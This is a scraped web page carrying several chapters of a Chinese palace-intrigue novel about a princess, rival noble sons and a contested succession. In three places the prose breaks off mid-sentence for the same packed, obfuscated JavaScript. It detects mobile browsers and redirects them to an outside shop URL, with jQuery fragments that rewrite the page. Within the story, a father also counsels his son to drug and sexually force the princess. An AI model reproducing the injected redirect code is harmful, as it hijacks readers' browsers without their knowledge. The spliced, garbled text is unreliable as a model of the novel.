陆墨凌迟疑片刻，神情颤动，语气带着显而易见的期待道：“这样真能如愿吗？沁澜虽多年沉寂，但她自幼备受宠爱，性格刚强而高傲。若她心生异念，我该如何应对？”
“女子多爱听些温柔蜜语，贤昭以往确是刚强高傲。可这三年受到太后严苛压制，深谙生存之道，知晓了活着方为首要。”
“是吗？贤昭真是这么想的吗？”
“女子最懂女子心。若非如此，面对这天差地别的艰难时刻，她怎会不随先帝而去？”
“‘女子头发长见识短’，这话可不尽然。”陆泽打断她，转向大儿子说：“贤昭对太祖皇帝情深意重，若她自尽，萧氏直系血脉将绝，即便润知或靖郡王继位，老臣也难以心服。
她此刻的忍辱负重，实则是为了明昭王朝的存续。
再者，贤昭性格刚烈，你若一味等待，她绝不会轻易归顺。但若你与她有了肌肤之亲，事后全心相待，数月间不要进入后宫，她终会心软的。在此期间若你们再有子嗣，她便更不会离开。无论日后你后宫妃嫔几何，她的心都将彻底系于你。”
“强迫？”沁澜啊……
陆墨凌近乎呢喃，神思有些飘忽。
“可以用些手段，这类药物不难寻。待你登基后，我再安排让公主府的修建进度放缓，让贤昭先留在宫中，你还有什么可忧虑的？”
“太后那边？”
“先用饭吧，免得凉了。”陆泽摆手轻笑，胸有成竹，“太后确有能耐，但她终归不姓萧，终归只是女子，这天下她迟早要让贤。
你不必急于逼迫，待你登基，朝臣自会催促她退位。你已及笄，非昔日孩童，明远太后找不到理由掌控玉玺。”
“父亲所言，令孩儿茅塞顿开。”陆墨凌点头应和，不再多语，转而专心用膳。
一直默不作声的陆承韫眸光闪动，突然开口，“如果强迫，兄长与贤昭多年情谊，恐将付诸东流，再不存在。”
正含笑望着长子的严兰乐听罢脸色骤变，狠狠瞪了他一眼，“你知道什么！让你伴凌儿在文华殿读书乃权宜之计，你日后只需全心全意辅佐你兄长即可，其余不必多问，更不可插手，否则便是背弃家族，不孝父母。”
陆承韫垂下眼眸，再次发问：“女子一旦与男子有了关系，便会全心全意相待吗？”
严兰乐不耐烦地皱起眉头，“这是你兄长的事，自有我与你父亲操心。无关紧要之事你无需过问。”
“……孩儿明白了。”
交谈之际，陆泽并未介入，恰逢此时陆墨凌用膳完毕，他立即吩咐下人撤去桌上佳肴，随后携夫人与大儿子到书房商议要事，仅留下一句“你先回房休息”，便不疾不徐离去。
陆承韫望着自己那几乎未动，却正被侍从撤下的饭菜，沉默不语。
＆
夜幕低垂，西院之内烛光点点，昏黄暗沉，陆承韫正埋头书写詹事今日布置的课业。
“吱呀”一声，房门被轻轻推开，元栖提着一个食盒步入，脸上原本挂着的笑容在见到屋内情景时，顿时转为忧虑。
“哎呦，公子，这屋里就一根蜡烛可怎么行，太伤眼睛了！您可是要做大事的人，千万莫在这等小事上委屈了自己。”
说着，他手脚麻利地摆放好数个烛台，逐一用火折子点亮。
屋内光线刹那间明亮起来，烛火跳跃，映照出斑驳光影。
"省着点儿用，用完了还得去账房领，免不了要受些冷落。"陆承韫头也不抬，身姿端正道。
元栖小声嘀咕，“公子十四岁方被接进军营，那时才开始学习武艺骑射，短短九年间便与世子不相上下。只可惜，公子得隐藏实力。
我们的势力也是在两年前正式安稳后才逐渐成形，之前皆是一盘散沙。若非这般，世子之位现下应是公子的。”
“世子之位，皇位，我皆不放在心上……”
“公子！”
元栖的话被陆承韫陡然打断，却并未动怒，反而笑着抬眼，“但若大哥坐上了那个位置，我必不余其力将其拉下。父亲、母亲，我自会尽心照顾，他们此生不可凌驾于我之上。”
“若是这样，公子还需伪装成胆怯无能之人许久，真是辛苦了。”
“不辛苦，至少现在有人相伴，她亦是谨慎小心。”
言及此处，元栖忽然将食盒递给了他。
陆承韫搁下笔墨，以为他想要偷懒，忍不住调笑道：“你这一等侍从，今日是被罚了站，还是忙于洒扫庭院，怎地连食盒都懒怠开启？”
“这并非后厨所制。”
陆承韫略显惊讶，“若非后厨，难道是私厨所出？”
“嘿嘿……”元栖朝他挑眉，上扬的嘴角耐人寻味。
陆承韫的笑意瞬间收敛，起身接过食盒掀开盖子，食物的香气霎时弥漫四周，扑鼻而来。
显然是刚出锅不久。
他难以置信地喃喃自语，“是沁澜送来的？”
除了她，陆承韫心中再无他人可想。
“嗯！”元栖用力点头，继而将盒中的点心与羹汤一一细心摆放，“贤昭公主真是心思细腻，竟知晓公子今晚几乎未进晚膳。
若非情深意重，怎会体贴入微？看，这汤和点心都是温热的，足见公主殿下对公子的牵挂之深。”
“我与她……”陆承韫细细回味着两人间的种种交集与接触，最终摇头，“并无特别之处。”
“或许是因为公子您性格温和，相貌出众，又兼具才智与上进心。贤昭公主此举定有她的理由，绝不仅仅出于利益考量。女子嘛，往往口是心非，羞于直接表达心意。”
“不敢当面表达？”陆承韫不禁失笑，在他不解的眼神下摆手示意，拈起点心尝了一口，“确是御膳房的手艺，非市井烟火所能及。”
“咦？”元栖正忙碌着整理食盒，无意间发现底层藏有一物，揭开一看，唯见一张折叠的宣纸静静躺在其中。
纸背隐约可见人像轮廓，模糊而引人遐想。
他小心翼翼地递给陆承韫，不料宣纸轻薄透亮，令公子一眼之下瞬息瞪大，脸颊迅速绯红，耳垂亦悄然变色。
正欲咽下的羹汤梗在喉间，不上不下，引得他连连呛咳，难以自持。
＆
宁安宫内，无数根蜡烛将寝殿的每个角落映照得明亮如昼。
萧沁澜身着一袭洁白的中衣，衣上带着淡淡的水汽。
她手持绣有凤凰图案的帕巾，端坐于贵妃榻上，擦拭着微湿的长发。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954988|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
送过去了吗？”
本采本欲上前帮忙却被她阻止，只得无奈地在旁注视着她，“已经送过去了，二公子的侍从接过时满脸喜色，连连赞叹主子的……”
她欲言又止，似乎难以启齿那二字。
“贤惠？”萧沁澜眉眼含笑。
“是啊，未曾想有一日，主子竟能与‘贤惠’二字相提并论。”
言毕，本采又觉不妥，连忙急切地补充道：“并非是说主子不贤惠，而是主子素来行事果决，智慧超群，从不依附于任何人，尤其是那些善变的男子。
主子对我们、对自己都极好，从未有过苛责之举。将‘贤惠’二字用在主上身上，实则是大材小用了！”
萧沁澜耐心地等她讲完，遂朝横梁一指，“‘那些善变的臭男人’？这里可不少呢。”
“一路货色。”本采不屑撇嘴，蓦然想起什么，满是担忧，“主子您是万民之主，万不可对其中任何一人动了不该有的念头！”
“本宫明白。”萧沁澜言笑自若，将手中的帕巾抛给她，再接过她递来的干帕巾，“但那个位子遥不可及。若真要达到那般境界，恐怕本宫死了都难以实现。”
“主子怎可说这等不吉利的话！若真有那一天，也是我们先于您而去！”本采情绪激动，声音高亢。
寝殿横梁微颤，其上隐匿的众人对此表示深深认同。
萧沁澜放下帕巾，凝望着本采，神色凝重地说：“开办女学，让女子入朝为官，需要巨大的牺牲与努力。
本宫深知尔等不畏生死，亦想为过往境遇寻一公道。但你可曾思量过，世间万物，人心最是易变。除却我们，连同暗卫营、初语楼，乃至那些茶馆、驿站之人，合计不过寥寥。
而在这些人数之中，真正认同此理并甘愿付诸实践者，又能有几人呢？”
“主子英明神武，他们自当遵从。”
“再英明神武亦难挡滔滔洪流。”萧沁澜起身靠近她，目光交汇，“新朝初立，万民瞩目，外邦窥伺，京师与地方朝臣皆虎视眈眈。仅凭我等之力，何以撼动那百万乃至千万人心中，根深蒂固的男尊女卑理念呢？
本宫现下的责任，只需稳固根基。若行事过于激进，恐将更早暴露于风口浪尖。天下心眼小的男子，以及手握大权的门阀世家何其众多？他们定想将我置于死地。
一旦我遭遇不测，那些因权势依附之人，是否会倒戈相向？又是否会将尔等牵连而出？尸身不保呢？”
“主子。”本采脸色霎时苍白，低垂眼眸，不言不语，周身弥漫着浓浓的失落气息。
“别灰心。”萧沁澜嫣然一笑，拍了拍她的后背，“本宫这般说并非逃避责任，而是深思熟虑。望你们亦能脚踏实地，勿要急功近利。
初语楼在京师对贵女、贵妇乃至朝臣的影响力潜移默化，极为深远。若我们按既定计划行事，不出五年，女子便能自由经商；再过十年，女子和离将不再受世人非议，亦能再行嫁娶。十五年后，若有适当助力，富商或将多为心思细腻的女子。
那时，无论婚嫁与否，她们皆可学习学问，在长远些，或可如同男子般步入仕途，为国为民效力，这绝非空想。但这一切，都需时间作为基石。必须严守，不得泄露分毫。”
“本采明白了。但主子，二公子并不受宠，若想助他登上帝位，恐怕困难重重。”
跳动的烛火映照在萧沁澜眼中，她眸光深邃，“本宫从始至终，都未有过这个念头。明昭王朝能坐上那把龙椅的，唯有一人而已。”
20. 死了！
次日，朝霞映满天际，天空湛蓝，云卷云舒。
文华殿内，众位备太子陆续抵达。
萧沁澜甫一落座，身旁便投下一道阴影，紧接着，她看向书本的视线便蓦然被一张俊朗脸庞所遮挡。
知晓来人后，她眼底的疏离淡漠掩去，无奈而笑，“润知……”
“沁澜……”蔫润知嘴角下垂，眼神中带着几分委屈，偏头仰望她，可怜兮兮地说，“昨日我在众臣面前遭到了父亲训斥。
归家后，父亲的妾室竟携子前来挑衅，女子幼儿，我既不能动手，又不能过分责骂，更无法向制造这一切的父亲发泄，真真儿是憋屈难当啊！”
这番求安慰的话语，与可怜兮兮的模样，让萧沁澜嘴角不禁上扬，“那么兄长希望我如何帮你呢？”
“你只需随意说两句，任何话都好。”
此言一出，萧抒回头揶揄，“润知你如今已二十有余，较贤昭年长一岁吧，怎么还不如昔日在战场上的那份飒爽？反倒让贤昭来关照你？”
听到的萧亦辰亦笑出声来，“以润知的身份，就算对那妾室与庶子有所举动也属常情。你乃亲王之尊，若一味退让，何以服众？会让他们骑在你头上的。”
“你们懂什么，这是我与沁澜之间惯来的习惯。”蔫润知怼完后，又转过头眼巴巴地望着她。
“你是亲王，皇姑母唯一的嫡子。碍于孝道，你难以直接对抗。不过……”萧沁澜弹了弹他的发冠，宛如对待孩童，“狂妄无度之人，终将被其私欲所累。若心中郁结尽可告诉我，我自会请母后为你作主。”
蔫润知对她的言辞颇为受用，但对她的举止却颇有微词。
他侧头避开伸来的手臂，有些哀怨，“我比你年长！”
“我知道。”
“你这是在哄小孩吗？”
“可不。”一旁的萧亦辰接过话茬，“贤昭从不喜说这些空洞的大道理，‘欲望、牵扯、坠入’，这些字眼在父亲在世时常与我深夜长谈，内容与之相去不远。润知，你该自我反省一番了。”
话音刚落，其余三人结伴而至，见殿内气氛热烈，陆墨凌忍不住问道：“昨日有何趣事，能让你们这么开怀？说来也让我们三个晚到者听听。”
蔫润知自幼便对定国公夫妇二人无甚好感，随口敷衍了几句，目光掠过正专注温习的心上人，嘴角微撇，不悦地将怀中尚温的糖蒸酥酪，与密封玉瓶装的翠蔬清汤置于桌上，随后起身，头也不回地离开了。
见状，司空颢感慨万端道：“有甜品，有羹汤。润知心细，沁澜好福气。”
封建时代，能得到这样一个深情厚意、心系夫人的夫君确实不易。
陆承韫微眯着眼睛，紧紧攥着包中精致甜点，将其捏成一片粉碎。
自踏入门槛至今，沁澜的眸光就未曾离开过润知，果真是从小一起长大、经历过生死的青梅竹马啊……
他忽而无声轻笑，漫不经心的回到位置。
书桌旁的陆墨凌目睹他们默契流转，忆及昨夜双亲所言之事，终是暂缓想法。
沁澜温婉可人，润知情深不寿、志在淡泊，未曾掌权前，他还不能太过明显。
授课时辰尚早，萧沁澜未作推托客套，自然接过那尚存余温的糖蒸酥酪，一边细品它的甘甜，一边轻啜翠蔬清汤，悠然自得。
此景落入看到这一幕的蔫润知，瞬间绽放出如夏花般绚烂的笑容。
＆
午膳之际，太后忽然降下旨意，令萧沁澜前往慈宁宫用膳。
慈宁宫与文华殿遥遥相对，往返之间耽误了不少时间，入了殿内午膳已齐齐上毕。
膳桌上佳肴琳琅，鹅肉巴子酥香，胡椒醋鲜虾爽口，羊肉抄醇厚而不腻，猪肉撺白汤清亮，五味蒸鸡香气四溢，蘑菇灯笼汤清雅宜人……
主食则有香米饭，豆汤，灵露饮，泡茶。
满桌珍馐，色彩斑斓，令人垂涎欲滴。
但日复一日，无所变化，光是看看便觉腹饱，还不如起义之时的一碗糙饭，两碟简菜。
萧沁澜没用几口，浅尝辄止。
膳毕，太后与萧沁澜漱口净手，移步偏殿闲聊。
太后将她留下未遣去文华殿，显然是有要事相商，萧沁澜心知肚明，只垂眸细品茶水，静默如鹌鹑般不言不语。
“哎……”太后眼底满是森然，面上却是不显，长叹一声，忧愁道：“这深宫之中真是日渐沉寂，了无生气啊！”
“儿臣愚钝，竟扰了母后雅兴，望母后勿怪。”萧沁澜连忙放下手中茶盏，起身行礼，歉然道。
“哀家怎会怪罪于你？只是见你这温婉模样，忆起往昔战场上的明艳张扬，敢说敢为，感慨岁月匆匆，世事无常罢了。”
太后语毕，萧沁澜垂首未语，只是恭敬地站立一旁。
“行了，坐吧。你身为公主，太祖皇帝唯一骨血，这宫中与哀家又最为亲近，无需过分拘礼。”言罢，太后目光转向殿外，神色深邃难测。
能留在慈宁宫的皆聪慧过人，玲珑剔透，顿时便明白太后意思。
排排站的一群宫娥太监挺直的身躯又迅速佝偻，大气不敢出，整个偏殿陷入一片寂静之中。
“今日的午膳可还满意？胃口可好？”太后的话语平淡，透着几分关切，既不显亲昵亦无疏离。
萧沁澜顺从地坐下，脸上是惯常的端庄笑意，“母后体恤，特命御厨依儿臣口味备膳，儿臣感激不尽，故而多用了一些，此刻颇感饱足，倒是有些失态，恐有损皇家风范。”
“‘皇家颜面’四字，不过虚名而已，不必时时挂怀。”太后似有感而发，再次轻叹一声，“倒是哀家这些年忙于政务，疏忽了对你的教诲。你久居宫中，可知外界对萧氏一族现今如何评价？”
萧沁澜眼眸微敛，随即抬起，眸中盛满敬仰与真诚，“天道恒常，地道载物，母后勤政爱民，夜以继日，不辞辛劳地处理国事。洞察世事如明镜，包容天下。
每一决策皆如细丝入微，滋养万民心田，方有了今日的国泰民安，朝纲有序，百官心悦诚服。此等福祉，实乃母后万寿无疆之兆，亦是我明昭社稷绵延不绝之基。”
太后眉宇间闪过一丝意外，转而对身旁的宫女琉薇调笑道：“瞧瞧贤昭这张嘴，真是甜如蜜糖，难怪朝野上下，无论是老臣还是新贵，都对她疼爱有加。
贤昭这模样，这性情，哪个公子哥儿见了能不动心呢？”
琉薇抿着嘴笑，轻声应和：“有太后宠溺，殿下性情自然纯真了些。”
萧沁澜面上的紧张与局促似乎随着这番对话而有所缓解，但不过片刻，却听太后话锋一转，笑容刹那间收敛。
“不过，贤昭虽言辞动听，可往往未能切中要害。‘朝廷纲纪严明，文武百官信服’，这话，你可是真心实意说出来的？”
萧沁澜闻言，再次垂下眼帘，摇了摇头，诚恳不失分寸。
太后对她的态度还算满意，“近日来，乡试舞弊之事愈演愈烈，考官为了个人名利敢窃取学生文章，如此大不韪之事，竟被一再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971578|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隐瞒不报。若非锦衣卫尽心尽职，哀家恐怕至今还被蒙在鼓里呢。”
言毕，她抬手招了招，“贤昭，你过来。”
萧沁澜缓缓起身，步至卧榻之畔，眸光投向太后，看不出情绪。
太后握住她的皓腕，有一下没一下轻轻拍着，“莫怨母后行事决绝。那日向你用药是为了什么，以你的聪慧应该清楚。为豫州大局，哀家别无选择。你可曾知晓当下明昭的朝局？”
“知道。”萧沁澜颔首，望着她的双眸如星辰般清澈，“太祖龙驭宾天，随侍老臣安邦定国后羞于归京，在战场自裁以谢天下。
京师之内除却定国公、忠勤伯与少保兼资善大夫等寥寥重臣，余者皆不过五品微末。前朝显赫的世家几近凋零。”
“可还有其他？”太后追问。
“……”萧沁澜咬了咬朱唇，目光微闪，又迅速低垂，复又抬首，却已是一派淡然，“追随萧氏皇族的老臣多捐躯沙场，然家中儿郎犹存，血脉未断。”
“是啊，明昭之路荆棘遍布。”太后发间凤凰金翠微晃，“上品无寒门，下品无势族。门阀在战乱中几乎荡然无存。
目前外戚与宗室、旧臣与新贵彼此牵制，互不相让，方铸就今日的安定祥和。若非这般，仅凭那些男儿骨子里冲杀的血性，或许早已烽烟四起。”
“母后过虑了，老臣之心，始终系于明昭。”
“老臣忠贞，但岁月更迭，今之掌权者多为老臣后裔。血脉虽续，忠心却难测。五军都督府中坚力量尽归定国公麾下，他的两个儿子，才高志远啊……”
“墨凌对儿臣体贴入微。”
“是吗？”太后声色不动，“豫州乡试刑部已秉公处理，舞弊之徒取消功名，杖责百下，昭告天下，以示警戒。
涉事考官家产充公，家族受罚，流放九族，而首恶更将于午门斩首。此外，为防再犯，各地增设御史台与提学官，并鼓励民众监督，凡举报属实者，必有重赏。”
“母后决断公正，儿臣心悦诚服。”
“除了乡试，狎妓的官员也已严惩，家产充公，家族流放。”
“此二事，皆属初犯，严惩不贷合情合理。”
“是吗？”太后见其不接话茬，神色忽变，语气沉凝道：“但贤昭可知，豫州的那个学子李贞合，昨夜在狱中无故暴毙。”
骤闻此言，萧沁澜直直望向太后，愕然地瞪大双眼，眼中满是不可置信。
“午时，刑部尚书亲来禀报，说李贞合是中毒身亡，且那毒物，极为罕见昂贵。”太后视线穿透殿门，看向远处，“而那狎妓的官员，表面看似撞墙自尽，实则亦是中毒身亡。”
＆
夜深人静，宁安宫内，萧沁澜端坐于贵妃榻上，手中软枕被她无意识地摩挲着，眼神冷然锐利。
本采蹙眉回禀，将调查所得一一禀明：“主子所托之事已查实无误。学子李贞合本可安然返家，却不幸遭此毒手。而那官员之死亦非简单撞墙，那死后眼中的惊恐不甘，足以证明一切。”
“定国公做的？”
“是否定国公所为，尚难定论。”本采继续说，“这方势力行事手法过于张扬，不像他们平日的作风。
我细问了二公子的暗卫，据他们所言，此事处理得毫无遮掩，显然是在故意嫁祸于人。再者，老臣一族近来确实谨慎至极，连青楼之地亦不敢涉足，生怕再添事端。”
萧沁澜袖中的手攥紧，杏眸中掠过狠厉，“你确定，陆承韫未曾违背本宫的命令，私下行动？”
21. 今夜漫长
“你确定，陆承韫未曾违抗我的指令？”
“奴婢已详加核查，主上大可宽心，”本采躬身施礼，目光下敛，颔首言道：“此事确非二公子所为，也确非二公子之过。”
不是陆承韫？
萧沁澜抚摸着柔软细腻的枕榻，陷入沉思。
当朝局势虽错综复杂，但脉络却不难厘清。
父皇昔日身为吴北路总管，未举义旗之前，便已广结善缘，友人遍布天下。
时下百官因此安于其位，明昭王朝井然有序，对外敌同仇敌忾。
而内部纷争究其根源，无非“权势恒固，富贵绵长”八字箴言，历朝历代都不可避免。
贪欲无度之徒只需稍加留意，将其行为公之于众，择一人嫁祸即可全身而退。再严惩那些伪装良善、深藏不露、漠视苍生之辈。
“权谋”二字无外乎洞悉动机，洞悉人性之幽微。
而老臣是她重点监护对象。
由此可得，能在重重防护之下对豫州士子与五品官员痛下杀手者，绝非朝中老臣作为。
京师权力交织，每个人皆是精明棋手。
公主屈膝、太后责罚，这等变故只需略加思索，便能知晓背后深意。
近来的老臣们即便心中怒火中烧，满腹牢骚，也只能于私宅内暗自发泄，一旦面对外界，无不收敛锋芒，以免成为那些坚决捍卫太祖遗志者的眼中钉，遭受无情打压。
相互制衡，故而中立派亦在嫌疑之外。
剩下的，便是外戚势力与那些远支的萧氏血脉。
靖郡王萧亦辰野心勃勃，惯于伪装，私下里与不少朝臣交好，甚至有人愚昧追随。
萧沁澜指尖轻敲软枕，另一指尖抵着下颌，敛气凝神。
宁郡王萧抒行事周全，但长达四年的监察之下，却未见有丝毫异状。
司空颢行为举止依旧温文尔雅，置身于世事纷争之外。
至于润知……
他那父亲不过是个被推至前台的挡箭牌，无需过多留意。
剩余者……
萧沁澜放下手中软枕，起身步入寝殿，“外戚那边，再增人手严密监视。朝中官员暂且不必理会。李贞合为民请命，功勋卓著，务必让豫州安心，让其名字、事迹、连同他的文章镌刻史册，流芳百世。破釜沉舟，若不成，便……杀到非成不可。”
对于臣子而言，这是至高无上的荣耀；对于百姓而言，更是莫大慰藉。
本采对她的崇敬更甚，但随即又眉头紧锁，忧虑道：“太后那边又该如何应对？史册编纂之事，自有专门官员负责，太后若是不予首肯，此事恐难成行。”
萧沁回首一笑，“本宫自有办法。”
话音落下，她张开双臂，任由宫娥褪去外袍，未曾拒绝。
人性是最不值得考验的，亦是最容易把握的。
根深蒂固的观念与制度难以撼动，过分的平等只会带来混乱与无序。
方式需微妙，知分寸，不失威严。
珠链轻垂，萧沁澜揉了揉眉心，“无需守夜，好好休息，养精蓄锐。接下来，将有大局。”
本采双目发涩，深深行礼，应承道：“是，主子放心，奴婢们定当竭尽全力，听从您的吩咐。”
＆
九月半的京师秋意尚浅，街道两侧，茶楼酒馆人声鼎沸，座无虚席，一派繁荣景象，无不彰显太后治下的明昭盛世。
“啪”地一声，折扇猛然展开，一位白面书生带着几分不屑地冷笑道：“繁华？哼，即便是前朝，咱们京师中的百姓，又几时真正尝过苦日子？这世道繁华，怎能简单归咎于一女人之手。”
身旁的青袍书生闻言，脸色骤变，急忙起身，手疾眼快地捂住了他的嘴。
他小心翼翼地环顾四周，确认无人注意后，才压低声音，语气凝重地劝诫道：“你可千万要慎言！如今太后正当盛年，手握朝政大权已久，京师之中，谁人不知太后之威？耳目遍布朝野！你我这等平民百姓，岂能轻易非议？”
“我不过是一介布衣，无官无职，随口说几句心里话罢了。太后怎会为了这等小事来拿捏我？再说，她难道就不怕民怨再次沸腾吗？”
白面书生挣开青袍书生的手，不以为然反驳道：“女子本该相夫教子，以夫家为重，以血脉传承为尊。这是自古以来便不可动摇的道理。
可四年间太后却邀请初语楼那些女子谈书论道，引得后院妻妾多有效仿。初语楼的花费不菲，她们可曾想过如此奢侈之举，是谁在后支撑，简直是败家！”
青袍书生叹息道：“非你夫人，非你钱财，你何须心痛？我倒觉得此举甚妙，若女子皆能自主，我日后成家便能免于琐碎，常伴风雅。”
“你倒是豁达。可近日的风言风语你可有耳闻？传言上天因女子涉足政事而震怒，遂降罚于世，学子与官员在戒备森严的牢内无故……”白面书生声音愈发低沉，“实则是杀鸡儆猴，以一场无凭凶案警示明昭王朝。”
“嘶，这话是真的？我竟从不曾知晓。”
“千真万确。那些被挑选的宗室子弟本就才华横溢，加之文华殿深造年余，早已堪当大任。可观那明远太后……”
“依你之见，这六人之中，谁最适合登基为帝？”
“依血脉而论，大长公主之子醇亲王最为正统。但若论能力，靖郡王与国公府世子倒有一争的可能。”
“不瞒你说，我也持有此见……”
白面书生正欲深谈，青袍男子却突然望向门外，连忙推其臂膀，低语道："五城兵马司与禁卫军将至，还是先用膳为妙，免得生事。"
＆
“咚！”
慈宁宫内，太后陡然将茶盏掷于案几之上，黑目中满是冷意，“散布谣言的幕后黑手，迄今仍未揪出吗？”
琉薇面色凝重，答道：“自事发之日起，五城兵马司与禁卫军中疑似有异心者皆已受审，并当众惩处。”
“他们可有供出朝中同谋？”
“至死不言。要么是确实一无所知，要么是忠诚至极。”
太后听罢讽刺一笑，轻蔑道：“这世间，纯粹的忠心何其稀少，大多不过是利益驱使下的逢场作戏罢了。”
此言一出，偏殿内侍立的太监、宫女皆低垂眼帘，全身紧绷，呼吸几乎静止。
太后闭目养神片刻，复又开口：“贤昭呢？不是派人去请了吗？”
“文华殿路途稍远，想来已在途中，不久将至。”
“好，待她到来，你吩咐御膳房备下丰盛晚膳。这孩子，怎地如此消瘦，与昔日的英姿大相径庭。”
琉薇心中明了，应道：“奴婢即刻大张旗鼓安排。”
＆
不过短短半月光景，京师之内流言四起，愈演愈烈。
恰在此时，太祖皇帝故里惊现一奇异景象——一块染血之石破土而出，石上镌刻着模糊不清的“劝进为君”四字。
尽管字迹斑驳，却仍被有心之人辨认出来，消息不胫而走，迅速传遍京师，震动朝野。
连日来，早朝之上喧嚣不已，除却几位权倾朝野的重臣与外戚保持缄默外，其余臣子皆纷纷上书太后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984539|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，恳请她顺应天意，以苍生为念。
傻子都知石头一事乃有意为之。
但明昭朝野对男性君主期盼已久，加之“狎妓官员与豫州学子枉死乃天谴”之事已传遍四海，即便太后功勋卓著，亦不得不做出让步。
最终，由太师挺身主持大局，册立定国公世子陆墨凌为新朝皇帝，并赐其国姓“萧”，选定黄道吉日，举行登基大典。
太后则被尊为“慈寿明远皇太后”，继续垂帘听政，以确保新皇能平稳过渡，直至其能独当一面，熟稔政务。
同时，先朝的“圣德皇后”被追尊为“慈懿圣德皇太后”，以示尊崇。
而嫡公主贤昭则被册封为“慧心贤昭公主”，待其公主府竣工之后，便将出宫居住，享受应有的尊荣与安宁。
＆
定国公府西院内，陆承韫静坐桌旁，脸色幽暗如深潭。
他目光穿透天穹黑暗，不发一言。
一阵清风拂过，窗扉自动开合间，一人影已悄然立于身后。
萧沁澜见他神色如常，好似已有所觉的模样，无辜地抿了抿朱唇，缓缓绕至他面前，拉椅对坐，“生气了？”
陆承韫收回视线，深深凝望那灵动清澈、满含无辜的双眸，面上毫无表情，只淡笑出声，“公主此访，所为何事？”
“看来是真生气了。”萧沁澜眨了眨眼睛，软声细语，“这事不能怪我。
我的人方撤，李贞合便在狱中遇害。想要扳倒定国公的五品官员亦是。我们之前可是约定好，我暗中行事，你则明面照应。可当时我已完成任务，你却未能善后，怎倒怪起我来了呢？”
“沁澜不觉得蹊跷吗？你的人刚离开一息，便有人立即暗中动手，这般巧合……”
“承韫兄长可莫冤枉了我。仵作并未确切死亡时刻，谁又知动手的具体时机？”
“时间差不过须臾，若非内情泄露，怎会精准至一息？沁澜聪慧过人，难不成是治下之道，过于宽仁了？”
“过于宽仁？”
烛火潋滟，将萧沁澜的面容映照的愈发精致。
她眸子中含着盈盈秋水，流转自如。
“女子嘛，最是心软，也最是狠心。我十岁便能筹建暗卫营，你我之间，尚有六年之差。”
“种种纷扰，看来是有人藏得更深。”陆承韫恢复了一贯的温文尔雅，“我自然是信你。”
“但这人确实棘手。”萧沁澜轻蹙眉头，言语间却薄嗔浅怒，“连我都捉摸不透呢，可见非同小可。”
陆承韫意外地看向她，笑道：“兄长登基，倒也在意料之中。”
“你无需试探，我并无那般手段。”萧沁澜直接点破，侧目凝视。
“你与兄长，自幼相伴。”
“论及亲近与掌控，润知更胜一筹。”
“你的势力与实力，皆深不可测。”
“若真是这样，我又怎会保不住一个李贞合？”
“区区一介平民，你麾下英才辈出，何须为此介怀。”
“本采，你见过的。”
“……嗯。”陆承韫心中大石落地，“我信你。既已成定局，你今夜造访，可是有何要紧之事？”
见他终于问及此事，萧沁澜旋即起身，动作自然而大胆地坐在了他的双腿之上，无视他瞬间睁大的眼眸，指尖细细游走在他深邃的眼眸、清朗又魅惑的脸颊，最终停留在那诱人的唇瓣，待了片刻，下滑至喉结，来回摩挲。
“我嘛，是来道歉的。承韫兄长，今夜漫长，你可要坚守阵地，莫要轻易‘投降’哦……”
22. “当年一见，惊为天人”…… ……
月色如洗，夜色深沉，慈宁宫内灯火通明。
明远太后闭目斜倚于凤榻之上，宫女轻手轻脚地为她捶打着，那因批阅奏折而酸痛的膝盖与手臂。
琉薇则细心按摩紧蹙的眉间。
片刻之后，太后示意停止，“贤昭歇息了吗？”
“奴婢方才遣人探视，回报说一切安好。”
“如今明昭王朝，唯余哀家与贤昭相依为命。”感到额间刚有所缓解的疼痛再次加剧，太后抬手揉按，“你可觉得，哀家对贤昭的管教，是否过于严苛了？”
“太后不必过虑。”琉薇叹息一声，“太后历经风雨，奴婢随侍多年深知世事艰辛。
自古以来，女子地位便多有限制，一旦触及男子权势更是举步维艰。当今朝堂之上皆是男儿身影，天家之中，唯太后与公主殿下相依。而定国公身为开国勋爵，手握实权。兵部、禁卫军、五城兵马司乃至上直二十六亲军皆有拥戴者。
幸而锦衣卫乃太祖皇帝驾崩后所设，直接听命于太后。否则，定国公若生异心，后果将不堪设想。”
“他会反吗？”太后语调淡然，似随口一问，却令得周遭四名宫女瞬间屏息，动作愈发谨慎，唯恐惊扰这份平静。
"不会，亦不敢。"琉薇面不改色，依旧镇定，"虽说各军事核心中不乏定国公的拥趸，但自那场战役后，他们的职位多已降至卑微，有的仅是百户所小吏，统辖不过一百一十二人。其余多为吏目、主簿之流，最高也不过正五品。
